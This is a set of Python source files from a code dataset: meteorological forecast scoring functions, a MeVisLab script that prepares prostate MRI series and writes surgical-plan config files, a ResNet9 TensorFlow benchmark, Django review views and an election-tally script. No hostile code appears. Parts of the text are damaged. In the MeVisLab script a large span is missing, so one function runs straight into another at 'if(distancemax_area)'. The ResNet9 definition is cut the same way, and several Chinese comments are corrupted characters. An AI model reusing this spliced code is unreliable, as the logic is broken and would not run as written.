plt.legend(['train_acc','train_loss', 'val_acc', 'val_loss'], loc=\"best\")\n plt.show()\n\nmain()","sub_path":"Part A/Question1_3.py","file_name":"Question1_3.py","file_ext":"py","file_size_in_byte":8039,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"521389358","text":"\nimport numpy as np\nfrom sklearn.metrics import roc_auc_score\nfrom sklearn.metrics import brier_score_loss\nfrom meteva.base.tool.math_tools import ss_iteration\nfrom meteva.base import IV\nfrom meteva.method.yes_or_no.score import pofd_hfmc,pod_hfmc\n\n\n\ndef tems(Ob, Fo):\n '''\n\n :param Ob:\n :param Fo:\n :return:\n '''\n count = Ob.size\n mx = np.mean(Ob)\n sxx = np.mean(np.power(Ob - mx, 2))\n error2 = np.sum(np.power(Fo - Ob, 2))\n return np.array([count, error2, mx,sxx])\n\ndef tems_merge(tems0,tems1):\n '''\n\n :param tems0:\n :param tems1:\n :return:\n '''\n count_total, mx_total, sxx_total = ss_iteration(tems0[0], tems0[2],tems0[3], tems1[0], tems1[2],tems1[3])\n error_total = tems0[1] + tems1[1]\n return np.array([count_total,error_total,mx_total,sxx_total])\n\ndef bs(Ob,Fo):\n '''\n brier_score 评分\n :param Ob: 输入的概率化实况,多维的numpy,发生了则取值为1,未发生则取值为0\n :param Fo: 预报的概率值,多维的numpy\n :return: 实数形式的评分值\n '''\n bs0 =brier_score_loss(Ob.flatten(),Fo.flatten())\n return bs0\n\ndef bs_tems(tems_array):\n '''\n\n :param tems_array:\n :return:\n '''\n total_count = tems_array[...,0]\n e2_sum = tems_array[...,1]\n brier = e2_sum / total_count\n return brier\n\n\n\ndef bss(Ob,Fo):\n '''\n :param Ob: 输入的概率化实况,多维的numpy,发生了则取值为1,未发生则取值为0\n :param Fo: 预报的概率值,多维的numpy\n :return: 实数形式的评分值\n '''\n p_climate = np.sum(Ob)/Ob.size\n Fo_climate = np.ones_like(Ob) * p_climate\n bs0 = bs(Ob,Fo)\n bs_climate = bs(Ob,Fo_climate)\n if bs_climate !=0:\n bss0 = 1 - bs0/bs_climate\n else:\n if bs0 ==0:\n bss0 = 1\n else:\n bss0 = IV\n return bss0\n\ndef bss_tems(tems_array):\n bs0 = bs_tems(tems_array)\n sxx_total = tems_array[...,3]\n\n bs_climate = sxx_total\n if bs_climate.size == 1:\n if bs_climate !=0:\n bss0 = 1 - bs0/bs_climate\n else:\n if bs0 ==0:\n bss0 = 1\n else:\n bss0 = IV\n else:\n under = np.zeros_like(bs_climate)\n under[...] = bs_climate[...]\n under[bs_climate == 0] = 1\n bss0 = 1 - bs0 / under\n bss0[bs_climate ==0] = IV\n return bss0\n\ndef roc_auc(Ob,Fo):\n '''\n :param Ob: 输入的概率化实况,多维的numpy,发生了则取值为1,未发生则取值为0\n :param Fo: 预报的概率值,多维的numpy\n :return: 实数形式的评分值\n '''\n return roc_auc_score(Ob,Fo)\n\ndef roc_auc_hnh(hnh_array):\n '''\n\n :param hnh_array:\n :return:\n '''\n ngrade = hnh_array.shape[-2]\n total_grade_num = hnh_array[...,:,0]\n observed_grade_num = hnh_array[...,:,1]\n shape = list(total_grade_num.shape)\n shape.append(4)\n shape = tuple(shape)\n hfmc = np.zeros(shape)\n total_hap = np.sum(observed_grade_num,axis= -1)\n total_num = np.sum(total_grade_num,axis= -1)\n sum_axis = len(observed_grade_num.shape) - 1\n for i in range(ngrade):\n hfmc[...,i, 0] = np.sum(observed_grade_num[...,i:],axis=sum_axis)\n hfmc[...,i, 1] = np.sum(total_grade_num[...,i:],axis=sum_axis) - hfmc[...,i, 0]\n hfmc[...,i, 2] = total_hap - hfmc[...,i, 0]\n hfmc[...,i, 3]= total_num - (hfmc[...,i, 0] + hfmc[...,i, 1]+ hfmc[...,i, 2])\n\n far = pofd_hfmc(hfmc)\n pod = pod_hfmc(hfmc)\n\n start1 = np.ones_like(total_num)\n end0 = np.zeros_like(total_num)\n auc = (start1 - far[...,0]) * (start1 + pod[...,0])\n for i in range(1,ngrade):\n auc += (far[...,i-1] - far[...,i]) * (pod[...,i-1] + pod[...,i])\n auc += (far[...,-1] - end0) * (pod[...,-1])\n auc /= 2\n\n return auc","sub_path":"meteva/method/probability/score.py","file_name":"score.py","file_ext":"py","file_size_in_byte":3789,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"366859240","text":"from mevis import *\nimport time\nimport os,os.path,sys\nimport thread\nimport shutil\nfrom string import split\nimport random\nimport threading, subprocess\nimport math\nimport numpy as np\nimport time\nimport configparser\n#import pydicom\n\n# 设置目标路径文件\n# 包括3d dcm的中间路径 temp\n# 建立相关文件夹\ndef Generate3dFile():\n dst_root_path=os.path.join(ctx.field(\"DestinationDataDirectory\").value,ctx.field(\"PatientID\").value)\n # 建立空文件夹\n if(os.path.exists(dst_root_path)):\n shutil.rmtree(dst_root_path)\n os.makedirs(dst_root_path)\n\n #建立各种数据对应的文件夹\n ctx.field(\"Dcm3DDirectory\").value=os.path.join(dst_root_path,\"dcm3D\")\n ctx.field(\"NiiDirectory\").value=os.path.join(dst_root_path,\"nii\")\n ctx.field(\"RawDirectory\").value=os.path.join(dst_root_path,\"raw\")\n ctx.field(\"ObjDirectory\").value=os.path.join(dst_root_path,\"obj\")\n os.makedirs(ctx.field(\"Dcm3DDirectory\").value) # temp文件夹,用于存储3d dcm文件,完成后删除 TODO\n os.makedirs(ctx.field(\"NiiDirectory\").value) # nii文件夹 存储nii文件\n os.makedirs(ctx.field(\"RawDirectory\").value) # raw文件夹 存储裸数据\n os.makedirs(ctx.field(\"ObjDirectory\").value) # obj文件夹 存储模型文件\n print(\"create folders done\")\n \n #将2维dcm切片 转存为3维dcm和tiff数据\n ctx.field(\"DicomImport.source\").value=ctx.field(\"PatientDataDirectory\").value\n ctx.field(\"DicomImport.target\").value=ctx.field(\"Dcm3DDirectory\").value\n ctx.field(\"DicomImport.import\").touch()\n # 不能放在这儿,因为dicomimport会另外开辟一个线程\n # 在resample之前,dicomimport未必能完成\n #ResampleDcmInFolder(ctx.field(\"Dcm3DDirectory\").value) # 将数据resample到各向同性 \n print(\"3d dcm file saved\")\n pass\n\n#对目录下的所有dcm文件,resample到各向同性\ndef ResampleDcmInFolder(root):\n root=root.replace(\"\\\\\",\"/\")\n file_dir=os.listdir(root)\n if(len(file_dir)==0):\n pass\n for i in range(len(file_dir)):\n print(str(i)+file_dir[i])\n if(file_dir[i][-3:] != \"dcm\"): #跳过非dcm文件\n continue\n if(file_dir[i][-13:] == \"resampled.dcm\"): #跳过resample过的文件\n continue\n # 生成并存储resample后的文件\n src_name=os.path.join(root,file_dir[i])\n print(\"resampling\"+src_name)\n ctx.field(\"ImageLoad6.filename\").value=src_name\n ctx.field(\"ImageLoad6.load\").touch()\n dst_name=src_name[:-4]+\"_resampled\"+src_name[-4:]\n ctx.field(\"ImageSave2.filename\").value=dst_name\n ctx.field(\"ImageSave2.save\").touch()\n pass\n\n# 寻找t2 adc序列数据 加载图像\ndef LoadImage():\n #路径、数据初始化\n InitializePath()\n InitializeLabel()\n\n ResampleDcmInFolder(ctx.field(\"Dcm3DDirectory\").value) # 将数据resample到各向同性\n\n file_type=\"\"\n dst_root_path=os.path.join(ctx.field(\"DestinationDataDirectory\").value,ctx.field(\"PatientID\").value)\n root=ctx.field(\"Dcm3DDirectory\").value\n file_dir=os.listdir(root)\n if(len(root)==0):\n pass\n for i in range(len(file_dir)):\n #if(file_dir[i][-3:] != \"dcm\"):\n # continue\n if(file_dir[i][-13:]!=\"resampled.dcm\"): #仅采用resampled数据\n continue\n name=os.path.join(root,file_dir[i])\n ctx.field(\"ImageLoad2.filename\").value=name\n ctx.field(\"ImageLoad2.load\").touch()\n ctx.field(\"DicomTagViewer2.getValues\").touch()\n file_type=ctx.field(\"DicomTagViewer2.tagValue3\").value\n adc_found_flag=False\n if (\"t2_tse_tra\" in file_type): #找t2序列图像\n print(\"name \"+name)\n ctx.field(\"T2SeriesPath\").value=name\n elif(\"ADC\" in file_type): #找adc序列图像\n adc_found_flag=true\n print(\"name \"+name)\n ctx.field(\"ADCSeriesPath\").value=name\n if(not adc_found_flag):\n ctx.field(\"ADCSeriesPath\").value=ctx.field(\"T2SeriesPath\").value\n #t2 adc序列路径修改后,FieldListener响应修改,调用相关函数完成图像读取和显示\n # 根据读取的dcm数据参数,设置其他模块对应的尺寸、体素大小信息\n ctx.field(\"ImageLoad3.rawX\").value=ctx.field(\"Info2.sizeX\").value\n ctx.field(\"ImageLoad3.rawY\").value=ctx.field(\"Info2.sizeY\").value\n ctx.field(\"ImageLoad3.rawZ\").value=ctx.field(\"Info2.sizeZ\").value\n ctx.field(\"ImagePropertyConvert1.voxelSizeX\").value=ctx.field(\"Info2.voxelSizeX\").value\n ctx.field(\"ImagePropertyConvert1.voxelSizeY\").value=ctx.field(\"Info2.voxelSizeY\").value\n ctx.field(\"ImagePropertyConvert1.voxelSizeZ\").value=ctx.field(\"Info2.voxelSizeZ\").value\n pass\n\n# 用于清空程序中现有的所有路径信息。包括某个特定病人的原始数据路径、程序自动寻找的t2及adc序列路径,以及输出的目标路径。\n# 在程序中也会同时关闭这些图像。\ndef InitializePath():\n #测试用 待删除 TODO\n # os.makedirs(\"d:\\\\test1\")\n\n ctx.field(\"RectumReverse\").value=False\n\n ctx.field(\"T2SeriesPath\").value=\"\"\n ctx.field(\"ADCSeriesPath\").value=\"\"\n ctx.field(\"ImageLoad.close\").touch()\n ctx.field(\"ImageLoad1.close\").touch()\n ctx.field(\"ImageLoad2.close\").touch()\n ctx.field(\"itkImageFileReader.close\").touch()\n ctx.field(\"itkImageFileReader1.close\").touch()\n ctx.field(\"itkImageFileReader2.close\").touch()\n print(\"initialization of path done\")\n\n# delete all cso&label in the mlab file. set all display to false\ndef InitializeLabel():\n ctx.field(\"CSOManager.removeAllCSOsAndGroups\").touch()\n ctx.field(\"CSOConvertTo3DMask.apply\").touch()\n ctx.field(\"CSOConvertTo3DMask1.apply\").touch()\n ctx.field(\"CSOConvertTo3DMask2.apply\").touch()\n ctx.field(\"MarkingProstate\").value=False\n ctx.field(\"MarkingLesion\").value=False\n ctx.field(\"MarkingRectum\").value=False\n ctx.field(\"DisplayProstate\").value=False\n ctx.field(\"DisplayLesion\").value=False\n ctx.field(\"DisplayRectum\").value=False\n ctx.field(\"SoView2DOverlay.drawingOn\").value=False\n ctx.field(\"SoView2DOverlay1.drawingOn\").value=False\n ctx.field(\"SoView2DOverlay2.drawingOn\").value=False\n print(\"initialization of label done\")\n pass\n\n\n# 输出txt文档,包含 t2序列文件名、adc序列文件名 t2序列的每一帧对应adc序列的帧数\ndef Test():\n # 取t2序列世界坐标第2列,对应其z'轴,即每个横断面的法向量,将其归一化,记为v_normal\n v_normal=[]\n v_normal.append(ctx.field(\"Info2.a02\").value)\n v_normal.append(ctx.field(\"Info2.a12\").value)\n v_normal.append(ctx.field(\"Info2.a22\").value)\n k=math.sqrt(v_normal[0]*v_normal[0]+v_normal[1]*v_normal[1]+v_normal[2]*v_normal[2])\n v_normal[0]/=k\n v_normal[1]/=k\n v_normal[2]/=k\n print(v_normal)\n # 对t2序列上的每一帧,其与t2序列第0帧的距离为 帧数*voxelSizeZ\n d_t2=[]\n for i in range(ctx.field(\"Info2.sizeZ\").value):\n d_t2.append(i*ctx.field(\"Info2.voxelSizeZ\").value)\n # 对adc序列,先求其第0帧与t2序列第0帧之间的距离 记为d\n v_t0=[] #t2序列坐标(0,0,0)点对应的世界坐标\n v_a0=[] #adc序列坐标(0,0,0)点对应的世界坐标\n v_dif=[] #v_a0-v_t0\n v_t0.append(ctx.field(\"Info2.a03\").value)\n v_t0.append(ctx.field(\"Info2.a13\").value)\n v_t0.append(ctx.field(\"Info2.a23\").value)\n v_a0.append(ctx.field(\"Info1.a03\").value)\n v_a0.append(ctx.field(\"Info1.a13\").value)\n v_a0.append(ctx.field(\"Info1.a23\").value)\n v_dif.append(v_a0[0]-v_t0[0])\n v_dif.append(v_a0[1]-v_t0[1])\n v_dif.append(v_a0[2]-v_t0[2])\n distance_00=v_dif[0]*v_normal[0]+v_dif[1]*v_normal[1]+v_dif[2]*v_normal[2]\n # 类似的,adc序列的每帧与t2序列第0帧之间的距离为 帧数*voxelSizeZ+d\n d_adc=[]\n for i in range(ctx.field(\"Info1.sizeZ\").value):\n d_adc.append(i*ctx.field(\"Info1.voxelSizeZ\").value+distance_00)\n # 求t2序列每一帧对应的adc序列帧数\n dic=[]\n for i in range(len(d_t2)):\n min=9999\n min_index=-1\n for j in range(len(d_adc)):\n distance=abs(d_t2[i]-d_adc[j])\n if(distancemax_area):\n max_index=i\n max_area=ctx.field(\"ImageStatistics.innerVoxels\").value\n print(\"max_index:\\t\"+str(max_index))\n return points,vectors,max_index\n\ndef CalAttitude(points,vectors,max_index):\n \"\"\"\n 计算MRI模拟采样base平面的一组姿态参数\n Args:\n points: 直肠中轴线各点\n vectors: 起点到第i点的方向向量\n max_index:前列腺最大截面处 对应的点下标\n Returns:\n attitude: MRI模拟采样超声探头姿态 ScanCenter点,RightDir向量,UpDir向量,MoveDir向量\n wld坐标(非真实wld坐标,而是(0,0,0)对应itk(0,0,0)的伪wld坐标)\n \"\"\"\n\n # 定位到最大截面\n ctx.field(\"ComposePlane1.point\").value=points[max_index].tolist() #设置平面上的点\n ctx.field(\"ComposePlane1.normal\").value=vectors[max_index].tolist() #设置平面法向量\n # 获取三个关键点坐标\n prostate_center=np.zeros(3) #前列腺中心点 用于计算UpDir\n start_pt=np.zeros(3) #直肠中轴线起点\n base_rectum_pt=np.zeros(3) #最大截面位置对应的直肠中轴点\n prostate_center[0]=(ctx.field(\"ImageStatistics.bBoxInX1\").value+ctx.field(\"ImageStatistics.bBoxInX2\").value)/2\n prostate_center[1]=(ctx.field(\"ImageStatistics.bBoxInY1\").value+ctx.field(\"ImageStatistics.bBoxInY2\").value)/2\n prostate_center[2]=0\n ctx.field(\"WorldVoxelConvert.voxelPos\").value=prostate_center.tolist()\n prostate_center=np.array(ctx.field(\"WorldVoxelConvert.worldPos\").value)\n start_pt=points[0]\n base_rectum_pt=points[max_index]\n print(\"prostate_center:\\t\"+str(prostate_center))\n print(\"start_pt:\\t\"+str(start_pt))\n print(\"base_rectum_pt\"+str(base_rectum_pt))\n # 计算一组姿态参数\n attitude=np.zeros((4,3)) #一组姿态参数 ScanCenter,RightDir,UpDir,MoveDir\n attitude[0]=base_rectum_pt\n attitude[3]=base_rectum_pt-start_pt\n attitude[1]=np.cross(attitude[3],prostate_center-base_rectum_pt)\n attitude[2]=np.cross(attitude[1],attitude[3])\n print(\"attitude (0,0,0 wld)\")\n print(attitude)\n\n\n '''\n #计算base平面的姿态参数(WLD)\n #关于base平面的三个关键点,计算坐标\n # 获取三个点的真实wld坐标\n prostate_center=np.zeros(3) #前列腺中心点 用于计算UpDir\n start_pt=np.zeros(3) #直肠中轴线起点\n base_rectum_pt=np.zeros(3) #最大截面位置对应的直肠中轴点\n prostate_center[0]=(ctx.field(\"ImageStatistics.bBoxInX1\").value+ctx.field(\"ImageStatistics.bBoxInX2\").value)/2\n prostate_center[1]=(ctx.field(\"ImageStatistics.bBoxInY1\").value+ctx.field(\"ImageStatistics.bBoxInY2\").value)/2\n prostate_center[2]=0\n ctx.field(\"WorldVoxelConvert.voxelPos\").value=prostate_center.tolist()\n prostate_center=np.array(ctx.field(\"WorldVoxelConvert.worldPos\").value)\n start_pt=points[0]\n base_rectum_pt=points[max_index]\n print(\"prostate center\\t\"+str(prostate_center))\n print(\"start point\\t\"+str(start_pt))\n print(\"base rectum pt\\t\"+str(base_rectum_pt))\n #将三个点转到itk坐标\n ctx.field(\"WorldVoxelConvert1.worldPos\").value=prostate_center.tolist()\n prostate_center=np.array(ctx.field(\"WorldVoxelConvert1.voxelPos\").value)\n ctx.field(\"WorldVoxelConvert1.worldPos\").value=start_pt.tolist()\n start_pt=np.array(ctx.field(\"WorldVoxelConvert1.voxelPos\").value)\n ctx.field(\"WorldVoxelConvert1.worldPos\").value=base_rectum_pt.tolist()\n base_rectum_pt=np.array(ctx.field(\"WorldVoxelConvert1.voxelPos\").value)\n #将三个点转到始于(0,0,0)的wld坐标\n voxel_size=np.zeros((3))\n voxel_size[0]=ctx.field(\"Info4.voxelSizeX\").value\n voxel_size[1]=ctx.field(\"Info4.voxelSizeY\").value\n voxel_size[2]=ctx.field(\"Info4.voxelSizeZ\").value\n prostate_center=prostate_center*voxel_size\n start_pt=start_pt*voxel_size\n base_rectum_pt=base_rectum_pt*voxel_size\n #计算一组姿态参数\n attitude=np.zeros((4,3)) #一组姿态参数 ScanCenter,RightDir,UpDir,MoveDir\n attitude[0]=base_rectum_pt\n attitude[3]=base_rectum_pt-start_pt\n attitude[1]=np.cross(attitude[3],prostate_center-base_rectum_pt)\n attitude[2]=np.cross(attitude[1],attitude[3])\n print(\"attitude (0,0,0 wld)\")\n print(attitude)\n '''\n\n return attitude\n\ndef WriteConfig(attitude):\n \"\"\"\n 根据一组病人数据和MRI模拟采样base平面姿态,写两个ini配置文件\n Args:\n attitude: MRI模拟采样超声探头姿态 ScanCenter点,RightDir向量,UpDir向量,MoveDir向量\n wld坐标(非真实wld坐标,而是(0,0,0)对应itk(0,0,0)的伪wld坐标)\n Returns:\n none\n \"\"\"\n print(\"start writing config\")\n dst_root_path=os.path.join(ctx.field(\"DestinationDataDirectory\").value,ctx.field(\"PatientID\").value)\n #SurgicalPlan\n surgical_plan_path=os.path.join(dst_root_path,\"SurgicalPlan.ini\")\n s_config=configparser.ConfigParser()\n\n s_config.add_section(\"PATH\")\n s_config.set(\"PATH\",\"mri_filename\",os.path.join(\"raw\",ctx.field(\"PatientID\").value+\"_original.raw\"))\n s_config.set(\"PATH\",\"prostate_mask_filename\",os.path.join(\"raw\",ctx.field(\"PatientID\").value+\"_prostate.raw\"))\n s_config.set(\"PATH\",\"lesion_mask_filename\",os.path.join(\"raw\",ctx.field(\"PatientID\").value+\"_lesion.raw\"))\n s_config.set(\"PATH\",\"rectum_mask_filename\",os.path.join(\"raw\",ctx.field(\"PatientID\").value+\"_rectum.raw\"))\n s_config.set(\"PATH\",\"prostate_surface_filename\",os.path.join(\"obj\",ctx.field(\"PatientID\").value+\"_prostate.obj\"))\n s_config.set(\"PATH\",\"lesion_surface_fileName\",os.path.join(\"obj\",ctx.field(\"PatientID\").value+\"_lesion.obj\"))\n s_config.set(\"PATH\",\"rectum_surface_fileName\",os.path.join(\"obj\",ctx.field(\"PatientID\").value+\"_rectum.obj\"))\n\n s_config.add_section(\"ImageSize\")\n s_config.set(\"ImageSize\",\"CX\",ctx.field(\"Info2.sizeX\").value)\n s_config.set(\"ImageSize\",\"CY\",ctx.field(\"Info2.sizeY\").value)\n s_config.set(\"ImageSize\",\"CZ\",ctx.field(\"Info2.sizeZ\").value)\n\n s_config.add_section(\"VoxelSize\")\n s_config.set(\"VoxelSize\",\"ResX\",ctx.field(\"Info2.voxelSizeX\").value)\n s_config.set(\"VoxelSize\",\"ResY\",ctx.field(\"Info2.voxelSizeY\").value)\n s_config.set(\"VoxelSize\",\"ResZ\",ctx.field(\"Info2.voxelSizeZ\").value)\n s_config.write(open(surgical_plan_path,\"w\"))\n #AnalyseProcess\n analyse_procees_path=os.path.join(dst_root_path,\"AnalyseProcess.ini\")\n a_config=configparser.ConfigParser()\n\n a_config.add_section(\"ImageSize\")\n a_config.set(\"ImageSize\",\"x\",ctx.field(\"Info2.sizeX\").value)\n a_config.set(\"ImageSize\",\"y\",ctx.field(\"Info2.sizeY\").value)\n a_config.set(\"ImageSize\",\"z\",ctx.field(\"Info2.sizeZ\").value)\n\n a_config.add_section(\"VoxelSize\")\n a_config.set(\"VoxelSize\",\"x\",ctx.field(\"Info2.voxelSizeX\").value)\n a_config.set(\"VoxelSize\",\"y\",ctx.field(\"Info2.voxelSizeY\").value)\n a_config.set(\"VoxelSize\",\"z\",ctx.field(\"Info2.voxelSizeZ\").value)\n\n a_config.add_section(\"ScanCenter\")\n a_config.set(\"ScanCenter\",\"x\",attitude[0][0])\n a_config.set(\"ScanCenter\",\"y\",attitude[0][1])\n a_config.set(\"ScanCenter\",\"z\",attitude[0][2])\n a_config.add_section(\"RightDir\")\n a_config.set(\"RightDir\",\"x\",attitude[1][0])\n a_config.set(\"RightDir\",\"y\",attitude[1][1])\n a_config.set(\"RightDir\",\"z\",attitude[1][2])\n a_config.add_section(\"UpDir\")\n a_config.set(\"UpDir\",\"x\",attitude[2][0])\n a_config.set(\"UpDir\",\"y\",attitude[2][1])\n a_config.set(\"UpDir\",\"z\",attitude[2][2])\n a_config.add_section(\"MoveDir\")\n a_config.set(\"MoveDir\",\"x\",attitude[3][0])\n a_config.set(\"MoveDir\",\"y\",attitude[3][1])\n a_config.set(\"MoveDir\",\"z\",attitude[3][2])\n a_config.write(open(analyse_procees_path,\"w\"))\n return\n\n#将int16 nii的mask,转存为uint8 raw的mask \ndef Nii2Raw(src_name,dst_name):\n '''\n args:\n src_name: 源���件名(nii,int16)\n dst_name: 目� �文件名(raw,uint8)\n returns:\n none\n '''\n temp_name=os.path.join(os.path.split(src_name)[0],\"temp.nii\")\n #int16 nii转存为uint8 nii\n ctx.field(\"itkImageFileReader.fileName\").value=src_name\n ctx.field(\"itkImageFileReader.open\").touch()\n ctx.field(\"itkImageFileWriter4.fileName\").value=temp_name\n ctx.field(\"itkImageFileWriter4.save\").touch()\n #uint8 nii转存为uint8 raw\n ctx.field(\"itkImageFileReader1.fileName\").value=temp_name\n ctx.field(\"itkImageFileReader1.open\").touch()\n ctx.field(\"ImageSave.filename\").value=dst_name\n ctx.field(\"ImageSave.save\").touch()\n #释放资源\n ctx.field(\"itkImageFileReader.close\").touch()\n ctx.field(\"itkImageFileReader1.close\").touch()\n os.remove(temp_name)\n\n# 输出txt文档,包含 t2序列文件名、adc序列文件名 t2序列的每一帧对应adc序列的帧数\ndef SaveT2ADCDirectory():\n if(len(ctx.field(\"DestinationProstatePath\").value)!=0):\n filename=ctx.field(\"DestinationProstatePath\").value\n elif(len(ctx.field(\"DestinationLesionPath\").value)!=0):\n filename=ctx.field(\"DestinationLesionPath\").value\n else:\n pass\n # 取t2序列世界坐肠第2列,对应其z'轴,即每个横断面的法向量,将其归一化,记为v_normal\n v_normal=[]\n v_normal.append(ctx.field(\"Info2.a02\").value)\n v_normal.append(ctx.field(\"Info2.a12\").value)\n v_normal.append(ctx.field(\"Info2.a22\").value)\n k=math.sqrt(v_normal[0]*v_normal[0]+v_normal[1]*v_normal[1]+v_normal[2]*v_normal[2])\n v_normal[0]/=k\n v_normal[1]/=k\n v_normal[2]/=k\n print(v_normal)\n # 对t2序列上的每一帧,其与t2序列第0帧的距离为 帧数*voxelSizeZ\n d_t2=[]\n for i in range(ctx.field(\"Info2.sizeZ\").value):\n d_t2.append(i*ctx.field(\"Info2.voxelSizeZ\").value)\n # 对adc序列,先求其第0帧与t2序列第0帧之间的距离 记为d\n v_t0=[] #t2序列坐肠(0,0,0)点对应的世界坐肠\n v_a0=[] #adc序列坐肠(0,0,0)点对应的世界坐肠\n v_dif=[] #v_a0-v_t0\n v_t0.append(ctx.field(\"Info2.a03\").value)\n v_t0.append(ctx.field(\"Info2.a13\").value)\n v_t0.append(ctx.field(\"Info2.a23\").value)\n v_a0.append(ctx.field(\"Info1.a03\").value)\n v_a0.append(ctx.field(\"Info1.a13\").value)\n v_a0.append(ctx.field(\"Info1.a23\").value)\n v_dif.append(v_a0[0]-v_t0[0])\n v_dif.append(v_a0[1]-v_t0[1])\n v_dif.append(v_a0[2]-v_t0[2])\n distance_00=v_dif[0]*v_normal[0]+v_dif[1]*v_normal[1]+v_dif[2]*v_normal[2]\n # 类似的,adc序列的每帧与t2序列第0帧之间的距离为 帧数*voxelSizeZ+d\n d_adc=[]\n for i in range(ctx.field(\"Info1.sizeZ\").value):\n d_adc.append(i*ctx.field(\"Info1.voxelSizeZ\").value+distance_00)\n # 求t2序列每一帧对应的adc序列帧数\n dic=[]\n for i in range(len(d_t2)):\n min=9999\n min_index=-1\n for j in range(len(d_adc)):\n distance=abs(d_t2[i]-d_adc[j])\n if(distance tf.keras.Model:\n # prep layers\n inp = layers.Input(shape=input_size)\n x = layers.Conv2D(64, 3, padding='same')(inp)\n x = layers.BatchNormalization(momentum=0.8)(x)\n x = layers.LeakyReLU(alpha=0.1)(x)\n # layer1\n x = layers.Conv2D(128, 3, padding='same')(x)\n x = layers.MaxPool2D()(x)\n x = layers.BatchNormalization(momentum=0.8)(x)\n x = layers.LeakyReLU(alpha=0.1)(x)\n x = layers.Add()([x, residual(x, 128)])\n # layer2\n x = layers.Conv2D(256, 3, padding='same')(x)\n x = layers.MaxPool2D()(x)\n x = layers.BatchNormalization(momentum=0.8)(x)\n x = layers.LeakyReLU(alpha=0.1)(x)\n # layer3\n x = layers.Conv2D(512, 3, padding='same')(x)\n x = layers.MaxPool2D()(x)\n x = layers.BatchNormalization(momentum=0.8)(x)\n x = layers.LeakyReLU(alpha=0.1)(x)\n x = layers.Add()([x, residual(x, 512)])\n # layers4\n x = layers.GlobalMaxPool2D()(x)\n x = layers.Flatten()(x)\n x = layers.Dense(classes)(x)\n x = layers.Activation('softmax', dtype='float32')(x)\n model = tf.keras.Model(inputs=inp, outputs=x)\n return model\n\n\ndef residual(x: tf.Tensor, num_channel: int) -> tf.Tensor:\n \"\"\"A ResNet unit for ResNet9.\n Args:\n x: Input Keras tensor.\n num_channel: The number of layer channel.\n Return:\n Output Keras tensor.\n \"\"\"\n x = layers.Conv2D(num_channel, 3, padding='same')(x)\n x = layers.BatchNormalization(momentum=0.8)(x)\n x = layers.LeakyReLU(alpha=0.1)(x)\n x = layers.Conv2D(num_channel, 3, padding='same')(x)\n x = layers.BatchNormalization(momentum=0.8)(x)\n x = layers.LeakyReLU(alpha=0.1)(x)\n return x\n\n\n@tf.function\ndef single_inference(model, data):\n output = model(data, training=False)\n return output\n\n\nif __name__ == \"__main__\":\n model = ResNet9(input_size=(1024, 1024, 3), classes=100)\n data = np.random.rand(1, 1024, 1024, 3).astype(\"float32\")\n timeit(f=lambda: single_inference(model=model, data=data), num_runs=500)\n\n","sub_path":"inference_group_conv/baseline_tf.py","file_name":"baseline_tf.py","file_ext":"py","file_size_in_byte":2179,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"75610149","text":"from django.http import HttpRequest, HttpResponse\nfrom django.shortcuts import render\n\nfrom projects.api.serializers import ReviewUpdateSerializer\nfrom projects.api.views.reviews import ProjectsReviewsViewSet\n\n\ndef list(request: HttpRequest, *args, **kwargs) -> HttpResponse:\n \"\"\"\n List reviews for a project.\n \"\"\"\n viewset = ProjectsReviewsViewSet.init(\"list\", request, args, kwargs)\n reviews = viewset.get_queryset()\n context = viewset.get_response_context(queryset=reviews)\n meta = viewset.get_project().get_meta()\n return render(request, \"projects/reviews/list.html\", dict(**context, meta=meta))\n\n\ndef create(request: HttpRequest, *args, **kwargs) -> HttpResponse:\n \"\"\"\n Create a review for a project.\n \"\"\"\n viewset = ProjectsReviewsViewSet.init(\"create\", request, args, kwargs)\n serializer = viewset.get_serializer()\n context = viewset.get_response_context(serializer=serializer)\n meta = viewset.get_project().get_meta()\n return render(request, \"projects/reviews/create.html\", dict(**context, meta=meta))\n\n\ndef retrieve(request: HttpRequest, *args, **kwargs) -> HttpResponse:\n \"\"\"\n Retrieve a review from a project.\n \"\"\"\n viewset = ProjectsReviewsViewSet.init(\"retrieve\", request, args, kwargs)\n review = viewset.get_object()\n context = viewset.get_response_context(instance=review)\n serializer = (\n ReviewUpdateSerializer()\n if context.get(\"is_editor\") or context.get(\"is_user\")\n else None\n )\n meta = viewset.get_project().get_meta()\n return render(\n request,\n \"projects/reviews/retrieve.html\",\n dict(**context, serializer=serializer, meta=meta),\n )\n","sub_path":"manager/projects/ui/views/reviews.py","file_name":"reviews.py","file_ext":"py","file_size_in_byte":1679,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"596341387","text":"import os\nimport csv\n\nfile = os.path.join('election_data' + '.csv')\n\npoll = {}\n\ntotal_votes = 0\n\nwith open(\"election_data.csv\",'r') as csv_file:\n csv_reader = csv.reader(csv_file)\n \n next(csv_reader, None)\n\n for row in csv_reader:\n total_votes += 1\n if row[2] in poll.keys():\n poll[row[2]] = poll[row[2]] + 1\n # poll[row[2]] = poll[row[2]] + 1\n else:\n poll[row[2]] = 1\n\ncandidates = []\nnum_votes = []\n\nfor key, value in poll.items():\n candidates.append(key)\n num_votes.append(value)\n\nvote_percent = []\nfor n in num_votes:\n vote_percent.append(round(n/total_votes*100, 1))\n\nclean_data = list(zip(candidates,num_votes, vote_percent))\n\nwinner_list = []\n\nfor name in clean_data:\n if max(num_votes) == name[1]:\n winner_list.append(name[0])\n\nwinner = winner_list[0]\n\nif len(winner_list) > 1:\n for w in range(1, len(winner_list)):\n winner = winner + \",\" + winner_list[w]\n\noutput_file = os.path.join( 'election_results' + '.txt')\n\nwith open(output_file, 'w') as txtfile:\n txtfile.writelines('Election Results \\nTotal Votes: ' + str(total_votes) + \n '\\n')\n for entry in clean_data:\n txtfile.writelines(entry[0] + \": \" + str(entry[2]) +'% (' + str(entry[1]) + ')\\n')\n txtfile.writelines(' \\nWinner: ' + winner + '\\n')\n\nwith open(output_file, 'r') as readfile:\n print(readfile.read())","sub_path":"PyPoll/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1394,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"173641103","text":"#!/usr/bin/python\nimport collectd\nimport string\nimport sys\n\nfrom 